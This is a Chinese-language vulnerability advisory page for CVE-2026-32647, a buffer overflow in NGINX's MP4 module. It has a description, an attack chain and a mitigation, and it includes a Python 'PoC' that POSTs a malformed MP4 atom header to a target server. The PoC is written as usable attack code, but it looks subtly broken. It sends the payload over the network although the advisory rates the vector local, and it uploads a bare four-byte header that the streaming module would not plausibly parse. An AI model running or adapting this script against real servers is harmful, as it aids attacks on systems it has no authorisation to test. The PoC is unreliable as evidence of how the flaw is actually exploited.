IPBUF安全漏洞报告
English
CVE-2026-32647 CVSS 7.8 高危

CVE-2026-32647 NGINX MP4模块内存越界读写漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-32647
漏洞类型
缓冲区溢出
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
NGINX Open Source, NGINX Plus

相关标签

缓冲区溢出NGINXRCE内存破坏MP4模块

漏洞概述

NGINX Open Source和NGINX Plus的ngx_http_mp4_module模块存在安全漏洞。由于对MP4文件的处理逻辑存在缺陷,攻击者可上传特制的MP4文件,触发缓冲区越界读或写操作。这可能导致NGINX worker进程崩溃,甚至可能在特定条件下执行任意代码。此漏洞要求配置中启用了mp4指令。

技术细节

该漏洞位于NGINX的ngx_http_mp4_module模块中,该模块主要用于提供MP4文件的伪流媒体服务。漏洞的根本原因在于模块解析MP4文件格式(特别是处理特定的Atom结构时),未对特定原子的大小或偏移量进行充分的边界检查。攻击者通过构造包含恶意长度字段的特制MP4文件,诱导服务器进行解析。当模块尝试读取元数据或执行内存拷贝操作时,会越过预分配的缓冲区边界,导致缓冲区越界读或写。这种内存破坏可能覆盖关键数据结构或指令指针,虽然攻击向量为本地(AV:L)且需要低权限,但成功利用可导致Worker进程崩溃或潜在的代码执行。

攻击链分析

STEP 1
1
攻击者分析NGINX mp4模块源码,发现解析MP4文件时存在边界检查缺失。
STEP 2
2
攻击者构造包含畸形Atom结构(如超大Size字段)的特制MP4文件。
STEP 3
3
攻击者利用低权限账号上传该恶意文件至服务器,或诱导服务器处理该文件。
STEP 4
4
ngx_http_mp4_module处理文件时触发缓冲区越界读写。
STEP 5
5
导致Worker进程崩溃(DoS)或可能执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct def create_malformed_mp4(): # Simulate a malformed MP4 atom with an invalid size # Size: 0xFFFFFFFF (Max uint32, causes overflow) # Type: 'ftyp' malformed_header = struct.pack('>I', 0xFFFFFFFF) + b'ftyp' return malformed_header def send_exploit(target_host, target_port): payload = create_malformed_mp4() request = f"""POST /upload.mp4 HTTP/1.1 Host: {target_host} Content-Type: video/mp4 Content-Length: {len(payload)} """.encode() + payload try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) s.send(request) print("[+] Malformed MP4 payload sent successfully.") s.close() except Exception as e: print(f"[-] Error sending payload: {e}") # Usage Example # send_exploit("192.168.1.10", 80)

影响范围

NGINX Open Source (受支持版本)
NGINX Plus (受支持版本)

防御指南

临时缓解措施
如果无法立即升级,建议禁用ngx_http_mp4_module模块(在编译时去除)或在nginx配置中删除所有mp4相关的配置指令,以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表